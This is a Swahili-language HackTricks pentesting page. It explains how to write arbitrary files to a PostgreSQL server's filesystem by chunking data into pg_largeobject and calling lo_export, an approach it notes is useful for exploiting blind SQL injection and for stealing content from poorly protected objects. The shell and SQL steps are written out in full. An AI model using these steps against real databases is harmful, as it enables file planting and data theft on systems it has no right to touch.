4.5 KiB
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Vitu Kubwa vya PostgreSQL
PostgreSQL inatoa muundo unaojulikana kama vitu vikubwa, vinavyopatikana kupitia meza ya pg_largeobject
, iliyoundwa kuhifadhi aina kubwa za data, kama picha au hati za PDF. Njia hii ni bora kuliko kazi ya COPY TO
kwani inawezesha kurejesha data kwenye mfumo wa faili, ikihakikisha nakala kamili ya faili ya awali inabaki.
Kwa kuhifadhi faili kamili ndani ya meza hii, kipengee lazima kisasisishwe kwenye meza ya pg_largeobject
(kikiwa na LOID), kisha data itakatwe katika vipande vya 2KB na kuingizwa kwenye kipengee hiki. Ni muhimu kwamba vipande hivi viwe saizi ya 2KB (isipokuwa kipande cha mwisho kinaweza kuwa tofauti) ili kuhakikisha kazi ya kurejesha inafanya kazi kwa usahihi.
Ili kugawanya data yako ya binary katika vipande vya 2KB, amri zifuatazo zinaweza kutekelezwa:
split -b 2048 your_file # Creates 2KB sized files
Kwa kuweka kila faili katika muundo wa Base64 au Hex, amri zifuatazo zinaweza kutumika:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Muhimu: Wakati wa kiotomatiki mchakato huu, hakikisha kutuma vipande vya 2KB vya herufi wazi. Faili zilizohifadhiwa kwa mfumo wa Hex zitahitaji data ya 4KB kwa kila kipande kutokana na kuongezeka kwa ukubwa, wakati faili zilizohifadhiwa kwa mfumo wa Base64 zitafuata fomula ceil(n / 3) * 4
.
Maudhui ya vitu vikubwa vinaweza kuonekana kwa madhumuni ya kutatua matatizo kwa kutumia:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Kutumia lo_creat
& Base64
Ili kuhifadhi data ya binary, LOID kwanza inaundwa:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
Katika hali zinazohitaji udhibiti sahihi, kama vile kuchexploit SQL Injection ya Kipofu, lo_create
inapendelewa kwa kutoa LOID iliyowekwa.
Vipande vya data vinaweza kisha kuingizwa kama ifuatavyo:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
Kuhamisha na huenda kufuta kipengee kikubwa baada ya matumizi:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Kutumia lo_import
& Hex
Kazi ya lo_import
inaweza kutumika kuunda na kutoa LOID kwa kipengele kikubwa:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
Baada ya kuundwa kwa kitu, data inaingizwa kwa kila ukurasa, ikihakikisha kila kipande hakizidi 2KB:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
Kukamilisha mchakato huo, data inaexportiwa na kifaa kikubwa kinafutwa:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Vizuizi
Imejulikana kuwa vitu vikubwa vinaweza kuwa na ACLs (Orodha za Kudhibiti Upatikanaji), ambazo zinaweza kuzuia upatikanaji hata kwa vitu vilivyoundwa na mtumiaji wako. Walakini, vitu vya zamani na ACLs zenye ruhusa zinaweza bado kupatikana kwa ajili ya kuiba maudhui.